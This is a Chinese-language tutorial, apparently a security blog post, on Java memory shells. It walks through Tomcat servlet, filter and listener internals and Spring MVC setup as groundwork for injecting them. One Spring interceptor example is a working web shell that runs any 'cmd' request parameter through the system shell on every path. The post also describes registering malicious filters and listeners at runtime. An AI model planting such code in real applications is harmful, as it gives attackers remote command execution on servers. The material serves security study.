零基础从0到1掌握Java内存马(1)
解*啊 发表于 江苏 WEB安全 5556浏览 · 2024-02-19 16:51

一、前言

之前写的零基础学Fastjson的文章反向很不错,很多师傅在公众号后台和我的微信私聊我表示感谢,其实也没啥,大家都是零基础过来的。网上的文章多而杂,并且只有少部分文章是配图清楚、文字描述清晰的,很多时候新手学着学着可能就因为作者的某一个地方没有描述清楚而不知其所指,非常痛苦;亦或是文章面向对象不同,前置知识不扎实导致很多东西无法理解,这些痛点我都曾经历过。但是随着看过的代码逐渐增多,见识逐渐丰富,调试的次数越多,对各种问题的处理就会越得心应手。

本文所讨论的Java内存马是Java安全中的一个不可或缺的板块,它内容丰富绮丽,研究起来让人着迷,沉沦其中流连忘返。我参考了su18师傅一年多以前发表在Goby社区的这篇文章(https://nosec.org/home/detail/5049.html)中给出的分类方式,把整个零基础掌握java内存马系列分成了以下几个部分:传统web型、spring系列框架型、中间件型、其他内存马(Websocket/Jsp/线程型/RMI)、Agent型内存马、实战内存马打入(Jetty/Weblogic/Shiro/Struts2/GlassFish/xxl-job...)和内存马查杀。
本篇为上篇,上篇截止至【中间件型内存马】,下篇年后再写,最近太累了。
由于先知社区发文字数限制,因此文章分为三部分发出来。
文章完整版已开源至Github,觉得写的不错的话就给个star吧~:

https://github.com/W01fh4cker/LearnJavaMemshellFromZero

上篇的目录:

好了,让我们闲话少叙,就此开始我们的第一部分。

二、前置知识

本篇文章除特殊说明外,使用的是jdk1.8.0_202+ tomcat 9.0.85,后者下载地址为:

https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.85/bin/apache-tomcat-9.0.85-windows-x64.zip。

2.1 Servlet容器与Engine、Host、Context和Wrapper

这部分我找了好久,终于在一大堆高深/垃圾的文章中邂逅了一篇写的还算简明扼要易于理解的文章。

原文地址:https://www.maishuren.top/archives/tomcat-zhong-servlet-rong-qi-de-she-ji-yuan-li

这里组合引用其原文,简单概括,就是:

Tomcat设计了四种容器,分别是EngineHostContextWrapper,其关系如下:

这一点可以从Tomcat的配置文件server.xml中看出来。

此时,设想这样一个场景:我们此时要访问https://manage.xxx.com:8080/user/list,那tomcat是如何实现请求定位到具体的servlet的呢?为此tomcat设计了Mapper,其中保存了容器组件与访问路径的映射关系。

然后就开始四步走:

  1. 根据协议和端口号选定ServiceEngine

    我们知道Tomcat的每个连接器都监听不同的端口,比如Tomcat默认的HTTP连接器监听8080端口、默认的AJP连接器监听8009端口。上面例子中的URL访问的是8080端口,因此这个请求会被HTTP连接器接收,而一个连接器是属于一个Service组件的,这样Service组件就确定了。我们还知道一个Service组件里除了有多个连接器,还有一个容器组件,具体来说就是一个Engine容器,因此Service确定了也就意味着Engine也确定了。

  2. 根据域名选定Host

    ServiceEngine确定后,Mapper组件通过url中的域名去查找相应的Host容器,比如例子中的url访问的域名是manage.xxx.com,因此Mapper会找到Host1这个容器。

  3. 根据url路径找到Context组件。

    Host确定以后,Mapper根据url的路径来匹配相应的Web应用的路径,比如例子中访问的是/user,因此找到了Context1这个Context容器。

  4. 根据url路径找到WrapperServlet)。

    Context确定后,Mapper再根据web.xml中配置的Servlet映射路径来找到具体的WrapperServlet,例如这里的Wrapper1/list

这里的Context翻译过来就是上下文,它包括servlet运行的基本环境;这里的Wrapper翻译过来就是包装器,它负责管理一个servlet,包括其装载、初始化、执行和资源回收。

关于上图中的连接器的设计,可以继续参考该作者的博文:

https://www.maishuren.top/archives/yi-bu-bu-dai-ni-le-jie-tomcat-zhong-de-lian-jie-qi-shi-ru-he-she-ji-de

写到后面之后我又发现了一篇写的极佳的文章,贴在这儿供大家参考,讲的是关于tomcat架构的原理解析:

https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09

2.2 编写一个简单的servlet

pom.xml文件如下:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>servletMemoryShell</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>4.0.1</version>
        </dependency>
    </dependencies>

</project>

同步下依赖:

TestServlet.java代码如下:

package org.example;
import java.io.IOException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/test")
public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        resp.getWriter().write("hello world");
    }
}

然后配置项目运行所需的tomcat环境:

然后配置artifacts,直接点击fix

然后添加web模块:

运行之后,访问http://localhost:8080/testServlet/test:

2.3 从代码层面看servlet初始化与装载流程

主要参考文章:

https://longlone.top/安全/java/java安全/内存马/Tomcat-Servlet型/

我们这里不采用我们下载的tomcat来运行我们的项目,我们使用嵌入式tomcat也就是所谓的tomcat-embed-core。关于动态调试,我是图省事,直接用tomcat-embed-core,你当然也可以调试直接调试tomcat源码,环境搭建方法可以参考Skay师傅的文章:

https://mp.weixin.qq.com/s/DMVcqtiNG9gMdrBUyCRCgw

我们重开一个项目,文件代码如下:

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>servletMemoryShell</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>9.0.83</version>
            <scope>compile</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>9.0.83</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>

</project>

Main.java

package org.example;

import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.startup.Tomcat;
import java.io.File;

public class Main {
    public static void main(String[] args) throws LifecycleException {
        Tomcat tomcat = new Tomcat();
        tomcat.getConnector(); //tomcat 9.0以上需要加这行代码,参考:https://blog.csdn.net/qq_42944840/article/details/116349603
        Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
        Tomcat.addServlet(context, "helloServlet", new HelloServlet());
        context.addServletMappingDecoded("/hello", "helloServlet");
        tomcat.start();
        tomcat.getServer().await();
    }
}

HelloServlet.java

package org.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("Hello, World!");
        out.println("</body></html>");
    }
}

2.3.1 servlet初始化流程分析

我们在org.apache.catalina.core.StandardWrapper#setServletClass处下断点调试:

我们尝试按Ctrl+左键追踪它的上层调用位置,但是提示我们找不到,需要按两次Ctrl+Alt+F7

然后就可以看到,上层调用位置位于org.apache.catalina.startup.ContextConfig#configureContext

接下来我们详细看下面这段代码:

for (ServletDef servlet : webxml.getServlets().values()) {
            Wrapper wrapper = context.createWrapper();
            if (servlet.getLoadOnStartup() != null) {
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            wrapper.setServletClass(servlet.getServletClass());
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }

                wrapper.setMultipartConfigElement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            wrapper.setOverridable(servlet.isOverridable());
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

首先通过webxml.getServlets()获取的所有Servlet定义,并建立循环;然后创建一个Wrapper对象,并设置Servlet的加载顺序、是否启用(即获取</load-on-startup>标签的值)、Servlet的名称等基本属性;接着遍历Servlet的初始化参数并设置到Wrapper中,并处理安全角色引用、将角色和对应链接添加到Wrapper中;如果Servlet定义中包含文件上传配置,则根据配置信息设置MultipartConfigElement;设置Servlet是否支持异步操作;通过context.addChild(wrapper);将配置好的Wrapper添加到Context中,完成Servlet的初始化过程。

上面大的for循环中嵌套的最后一个for循环则负责处理Servleturl映射,将ServleturlServlet名称关联起来。

也就是说,Servlet的初始化主要经历以下六个步骤:

  • 创建Wapper对象;
  • 设置ServletLoadOnStartUp的值;
  • 设置Servlet的名称;
  • 设置Servletclass
  • 将配置好的Wrapper添加到Context中;
  • urlservlet类做映射

2.3.2 servlet装载流程分析

我们在org.apache.catalina.core.StandardWrapper#loadServlet这里打下断点进行调试,重点关注org.apache.catalina.core.StandardContext#startInternal

可以看到,装载顺序为Listener-->Filter-->Servlet

可以看到,上面红框中的代码都调用了org.apache.catalina.core.StandardContext#loadOnStartupCtrl+左键跟进该方法,代码如下:

public boolean loadOnStartup(Container children[]) {
    TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
    for (Container child : children) {
        Wrapper wrapper = (Wrapper) child;
        int loadOnStartup = wrapper.getLoadOnStartup();
        if (loadOnStartup < 0) {
            continue;
        }
        Integer key = Integer.valueOf(loadOnStartup);
        map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
    }
    for (ArrayList<Wrapper> list : map.values()) {
        for (Wrapper wrapper : list) {
            try {
                wrapper.load();
            } catch (ServletException e) {
                getLogger().error(
                        sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
                        StandardWrapper.getRootCause(e));
                if (getComputedFailCtxIfServletStartFails()) {
                    return false;
                }
            }
        }
    }
    return true;
}

可以看到,这段代码先是创建一个TreeMap,然后遍历传入的Container数组,将每个ServletloadOnStartup值作为键,将对应的Wrapper对象存储在相应的列表中;如果这个loadOnStartup值是负数,除非你请求访问它,否则就不会加载;如果是非负数,那么就按照这个loadOnStartup的升序的顺序来加载。

2.4 Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain

开头先明确一点,就是Filter容器是用于对请求和响应进行过滤和处理的,以下这张图是根据Skay师傅文章中的图片重制的:

https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g

从上图可以看出,这个filter就是一个关卡,客户端的请求在经过filter之后才会到Servlet,那么如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就可以实现命令执行,形成内存马。

这些名词其实很容易理解,首先,需要定义过滤器FilterDef,存放这些FilterDef的数组被称为FilterDefs,每个FilterDef定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class等,这一点可以从org/apache/tomcat/util/descriptor/web/FilterDef.java的代码中看出来;然后是FilterDefs,它只是过滤器的抽象定义,而FilterConfigs则是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;紧接着是FilterMaps,它是用于将FilterConfigs映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs,从而确定要执行的过滤器链;而FilterChain是由多个FilterConfigs组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain中的顺序依次执行每个过滤器,对请求进行过滤和处理。

2.5 编写一个简单的Filter

我们继续用我们之前在2.2中搭建的环境,添加TestFilter.java

package org.example;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/test")
public class TestFilter implements Filter {

    public void init(FilterConfig filterConfig) {
        System.out.println("[*] Filter初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("[*] Filter执行过滤操作");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    public void destroy() {
        System.out.println("[*] Filter已销毁");
    }
}

跑起来之后,控制台输出[*] Filter初始化创建,当我们访问/test路由的时候,控制台继续输出[*] Filter执行过滤操作,当我们结束tomcat的时候,会触发destroy方法,从而输出[*] Filter已销毁

2.6 从代码层面分析Filter运行的整体流程

我们在上面的demo中的doFilter函数这里下断点进行调试:

跟进org.apache.catalina.core.StandardWrapperValve#invoke

filterChain.doFilter(request.getRequest(), response.getResponse());

继续跟进变量filterChain,找到定义处的代码:

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

查看该方法(org.apache.catalina.core.ApplicationFilterFactory#createFilterChain):

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
    if (servlet == null) {
        return null;
    } else {
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request)request;
            if (Globals.IS_SECURITY_ENABLED) {
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain)req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            filterChain = new ApplicationFilterChain();
        }

        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
        StandardContext context = (StandardContext)wrapper.getParent();
        FilterMap[] filterMaps = context.findFilterMaps();
        if (filterMaps != null && filterMaps.length != 0) {
            DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
            String requestPath = null;
            Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
            if (attribute != null) {
                requestPath = attribute.toString();
            }

            String servletName = wrapper.getName();
            FilterMap[] var10 = filterMaps;
            int var11 = filterMaps.length;

            int var12;
            FilterMap filterMap;
            ApplicationFilterConfig filterConfig;
            for(var12 = 0; var12 < var11; ++var12) {
                filterMap = var10[var12];
                if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                    if (filterConfig != null) {
                        filterChain.addFilter(filterConfig);
                    }
                }
            }

            var10 = filterMaps;
            var11 = filterMaps.length;

            for(var12 = 0; var12 < var11; ++var12) {
                filterMap = var10[var12];
                if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                    if (filterConfig != null) {
                        filterChain.addFilter(filterConfig);
                    }
                }
            }

            return filterChain;
        } else {
            return filterChain;
        }
    }
}

我们在该方法和下面定义filterMaps那行下断点进行调试,可以看到,这段代码先是判断servlet是否为空,如果是就表示没有有效的servlet,无法创建过滤器链;然后根据传入的ServletRequest的类型来分类处理,如果是Request类型,并且启用了安全性,那么就创建一个新的ApplicationFilterChain,如果没启用,那么就尝试从请求中获取现有的过滤器链,如果不存在那么就创建一个新的;接着是设置过滤器链的Servlet和异步支持属性,这个没啥说的;关键点在于后面从Wrapper中获取父级上下文(StandardContext),然后获取该上下文中定义的过滤器映射数组(FilterMap);最后遍历过滤器映射数组,根据请求的DispatcherType和请求路径匹配过滤器,并将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链。

从上面的两张图我们也可以清晰地看到filterConfigfilterMapFilterDef的结构。

跟进刚才的filterChain.doFilter方法,位于org.apache.catalina.core.ApplicationFilterChain#doFilter

可以看到都是调用了org.apache.catalina.core.ApplicationFilterChain#internalDoFilter方法,在这个方法中会依次拿到filterConfigfilter

好了,大致过程到这里就结束了,但是我们的目的是打入内存马,也就是要动态地创建一个Filter,回顾之前的调试过程,我们发现在createFilterChain那个函数里面有两个关键点:

也就是这里我用箭头指出来的org.apache.catalina.core.StandardContext#findFilterMapsorg.apache.catalina.core.StandardContext#findFilterConfig

二者的实现代码粘贴如下:

public FilterMap[] findFilterMaps() {
    return filterMaps.asArray();
}

public FilterConfig findFilterConfig(String name) {
    synchronized (filterDefs) {
        return filterConfigs.get(name);
    }
}

也就是说我们只需要查找到现有的上下文,然后往里面插入我们自定义的恶意过滤器映射和过滤器配置,就可以实现动态添加过滤器了。

那也就是说,我们现在的问题就转化为如何添加filterMapfilterConfig。我们搜索关键词addFilterMap,即可看到在StandardContext中有两个相关的方法:

注释里面也说的很清楚,addFilterMap是在一组映射末尾添加新的我们自定义的新映射;而addFilterMapBefore则会自动把我们创建的filterMap丢到第一位去,无需再手动排序,这正是我们需要的呀!

可以看到,上面的addFilterMapBefore函数中第一步是先执行org.apache.catalina.core.StandardContext#validateFilterMap这个函数,点击去看看:

发现我们需要保证它在根据filterNamefilterDef的时候,得能找到,也就是说,我们还得自定义filterDef并把它加入到filterDefs,不过这个也很简单,也有对应的方法,也就是org.apache.catalina.core.StandardContext#addFilterDef

搞定,继续去看filterConfig如何添加。经过搜索发现,不存在类似上面的addFilterConfig这种方法:

但是有filterStartfilterStop这两个方法:

那也就是说,我们只能通过反射的方法去获取相关属性并添加进去。

2.7 Listener简单介绍

由上图可知,Listener是最先被加载的,所以根据前面我们学到的思路,我动态注册一个恶意的Listener,就又可以形成一种内存马了。

tomcat中,常见的Listener有以下几种:

  • ServletContextListener,用来监听整个Web应用程序的启动和关闭事件,需要实现contextInitializedcontextDestroyed这两个方法;
  • ServletRequestListener,用来监听HTTP请求的创建和销毁事件,需要实现requestInitializedrequestDestroyed这两个方法;
  • HttpSessionListener,用来监听HTTP会话的创建和销毁事件,需要实现sessionCreatedsessionDestroyed这两个方法;
  • HttpSessionAttributeListener,监听HTTP会话属性的添加、删除和替换事件,需要实现attributeAddedattributeRemovedattributeReplaced这三个方法。

很明显,ServletRequestListener是最适合做内存马的,因为它只要访问服务就能触发操作。

2.8 编写一个简单的Listener(ServletRequestListener)

我们继续用我们之前在2.2中搭建的环境,替换掉之前的TestFilter.java,重新写一个TestListener.java

package org.example;

import javax.servlet.*;
import javax.servlet.annotation.WebListener;

@WebListener("/test")
public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("[+] destroy TestListener");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("[+] initial TestListener");
    }
}

运行结果:

2.9 从代码层面分析Listener运行的整体流程

我们在如图所示的两个地方下断点调试:

往下翻可以看到org.apache.catalina.core.StandardContext#listenerStart方法的调用:

代码写的通俗易懂,主要有两个事情要干,一是通过findApplicationListeners找到这些Listerner的名字;二是实例化这些listener

接着就是分类摆放,我们需要的ServletRequestListener被放在了eventListeners里面:

分类摆放完了之后,干这样一件事情:

eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));

Arrays.asList(...) 好理解,意思就是将数组转换为列表;eventListeners.addAll(...)也好理解,意思就是将括号里面的内容添加到之前实例化的监听器列表 eventListeners 中。关于括号里边的org.apache.catalina.core.StandardContext#getApplicationEventListeners这个方法,我们点进去看,代码如下:

@Override
public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

也很简单明了,就是把applicationEventListenersList转换成一个包含任意类型对象的数组,也就是一个可能包含各种类型的应用程序事件监听器的数组。

那这总结起来就一句话,就是Listener有两个来源,一是根据web.xml文件或者@WebListener注解实例化得到的Listener;二是applicationEventListenersList中的Listener。前面的我们肯定没法控制,因为这是给开发者用的,不是给黑客用的哈哈哈。那就找找看,有没有类似之前我们用到的addFilterConfig这种函数呢?当然是有的,ctrl+左键往上找:

方法名字叫做addApplicationEventListener,在StandardContext.java里面,代码如下,完美符合我们的需求,真是太哇塞了:

public void addApplicationEventListener(Object listener) {
    applicationEventListenersList.add(listener);
}

2.10 简单的spring项目搭建

新建个项目,设置Server URLhttps://start.aliyun.com/

等待依赖解析完成:

这里给我们准备了一个示例,我们可以直接跑起来:

2.10.1 编写一个简单的Spring Controller

package org.example.springcontrollermemoryshellexample.demos.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class TestController {
    @ResponseBody
    @RequestMapping("/")
    public String test(){
        return "hello world";
    }
}

非常地简单:

2.10.2 编写一个简单的Spring Interceptor

TestInterceptor.java

package org.example.springcontrollermemoryshellexample.demos.web;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if(cmd != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String output = "";
                ProcessBuilder processBuilder;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
                }else{
                    processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd);
                }
                java.util.Scanner inputScanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
                output = inputScanner.hasNext() ? inputScanner.next(): output;
                inputScanner.close();
                writer.write(output);
                writer.flush();
                writer.close();
            } catch (Exception ignored){}
            return false;
        }
        return true;
    }
}

WebConfig.java

package org.example.springcontrollermemoryshellexample.demos.web;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class WebConfig implements WebMvcConfigurer {

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
    }
}

Controller就是之前写的TestController.java,运行后访问http://127.0.0.1:8080/?cmd=whoami

2.10.3 编写一个简单的Spring WebFlux的Demo(基于Netty)

我们先聊聊怎么自己写一个Spring WebFlux框架的demo

这里我们新建一个SpringBoot项目,取名WebFluxMemoryShellDemo

这里选择Spring Reactive Web

接着新建两个文件,这里为了方便,我把这两个文件放到hello文件夹下。

GreetingHandler.java

package org.example.webfluxmemoryshelldemo.hello;

import org.springframework.http.MediaType;
import org.springframework.stereotype.Component;
import org.springframework.web.reactive.function.BodyInserters;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;

@Component
public class GreetingHandler {
    public Mono<ServerResponse> hello(ServerRequest request) {
        return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN).body(BodyInserters.fromValue("Hello, Spring!"));
    }
}

GreetingRouter.java

package org.example.webfluxmemoryshelldemo.hello;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.MediaType;
import org.springframework.web.reactive.function.server.*;

@Configuration
public class GreetingRouter {
    @Bean
    public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler) {
        return RouterFunctions.route(RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)), greetingHandler::hello);
    }
}

我们可以新建main/resources文件夹,然后新建application.properties,通过server.port来控制netty服务的端口:

接着我们运行:

这里我从github上找了一个项目,也可以很好地帮助我们理解这个框架是如何使用的,它采用的是Netty+SpringWebFlux

https://github.com/Java-Techie-jt/springboot-webflux-demo

随便访问个路由。例如http://127.0.0.1:9191/customers/stream

2.11 Spring MVC介绍

如果想要深入理解Spring MVC框架型内存马,那么对Spring MVC的基础了解是非常必要的,本节就从源码层面和大家简单聊聊这个框架。

首先引用《Spring in Action》上的一张图(这里我重制了一下)来了解Spring MVC的核心组件和大致处理流程(不过我在第五版书上貌似没有找到这张图,有找到的小伙伴可以公众号后台私信我):

可以看到,这里有一堆名词,我们一一来看:

  • DispatcherServlet是前端控制器,它负责接收Request并将Request转发给对应的处理组件;
  • HandlerMapping负责完成urlController映射,可以通过它来找到对应的处理RequestController
  • Controller处理Request,并返回ModelAndVIew对象,ModelAndView是封装结果视图的组件;
  • ④~⑦表示视图解析器解析ModelAndView对象并返回对应的视图给客户端。

还有一个概念需要了解,就是IOC容器,因为这个名词会在本文后面的内容中提及。

IOC(控制反转)容器是Spring框架的核心概念之一,它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器,使得应用程序组件无需直接管理它们的依赖关系。IOC容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring框架提供了多种实现IOC容器的方式,下面讲两种常见的:

  • BeanFactorySpring的最基本的IOC容器,提供了基本的IOC功能,只有在第一次请求时才创建对象。

  • ApplicationContext:这是BeanFactory的扩展,提供了更多的企业级功能。ApplicationContext在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。

2.11.1 Spring MVC九大组件

这九大组件需要有个印象:

DispatcherServlet(派发Servlet):负责将请求分发给其他组件,是整个Spring MVC流程的核心;
HandlerMapping(处理器映射):用于确定请求的处理器(Controller);
HandlerAdapter(处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;
HandlerInterceptor(处理器拦截器):允许对处理器的执行过程进行拦截和干预;
Controller(控制器):处理用户请求并返回适当的模型和视图;
ModelAndView(模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;
ViewResolver(视图解析器):用于将逻辑视图名称解析为具体的视图对象;
LocaleResolver(区域解析器):处理区域信息,用于国际化;
ThemeResolver(主题解析器):用于解析Web应用的主题,实现界面主题的切换。

2.11.2 简单的源码分析

2.11.2.1 九大组件的初始化

首先是找到org.springframework.web.servlet.DispatcherServlet,可以看到里面有很多组件的定义和初始化函数以及一些其他的函数:

但是没有init()函数,我们翻看其父类FrameworkServlet的父类org.springframework.web.servlet.HttpServletBean的时候发现有init函数:

代码如下:

@Override
public final void init() throws ServletException {

    // Set bean properties from init parameters.
    PropertyValues pvs = new ServletConfigPropertyValues(getServletConfig(), this.requiredProperties);
    if (!pvs.isEmpty()) {
        try {
            BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(this);
            ResourceLoader resourceLoader = new ServletContextResourceLoader(getServletContext());
            bw.registerCustomEditor(Resource.class, new ResourceEditor(resourceLoader, getEnvironment()));
            initBeanWrapper(bw);
            bw.setPropertyValues(pvs, true);
        }
        catch (BeansException ex) {
            if (logger.isErrorEnabled()) {
                logger.error("Failed to set bean properties on servlet '" + getServletName() + "'", ex);
            }
            throw ex;
        }
    }

    // Let subclasses do whatever initialization they like.
    initServletBean();
}

先是从Servlet的配置中获取初始化参数并创建一个PropertyValues对象,然后设置Bean属性;关键在最后一步,调用了initServletBean这个方法。

我们点进去之后发现该函数并没有写任何内容,说明应该是子类继承的时候override了该方法:

果不其然,我们在org.springframework.web.servlet.FrameworkServlet中成功找到了该方法:

代码如下:

@Override
protected final void initServletBean() throws ServletException {
    getServletContext().log("Initializing Spring " + getClass().getSimpleName() + " '" + getServletName() + "'");
    if (logger.isInfoEnabled()) {
        logger.info("Initializing Servlet '" + getServletName() + "'");
    }
    long startTime = System.currentTimeMillis();

    try {
        this.webApplicationContext = initWebApplicationContext();
        initFrameworkServlet();
    }
    catch (ServletException | RuntimeException ex) {
        logger.error("Context initialization failed", ex);
        throw ex;
    }

    if (logger.isDebugEnabled()) {
        String value = this.enableLoggingRequestDetails ?
                "shown which may lead to unsafe logging of potentially sensitive data" :
                "masked to prevent unsafe logging of potentially sensitive data";
        logger.debug("enableLoggingRequestDetails='" + this.enableLoggingRequestDetails +
                "': request parameters and headers will be " + value);
    }

    if (logger.isInfoEnabled()) {
        logger.info("Completed initialization in " + (System.currentTimeMillis() - startTime) + " ms");
    }
}

这段代码的log和计时部分就不说了,我们捡关键的说。它先是调用initWebApplicationContext方法,初始化IOC容器,在初始化的过程中,会调用到这个onRefresh方法,一般来说这个方法是在容器刷新完成后被调用的回调方法,它执行一些在应用程序启动后立即需要完成的任务:

跟入该方法,可以看到其中默认为空:

说明在它的子类中应该会有override,果然我们定位到了org.springframework.web.servlet.DispatcherServlet#方法:

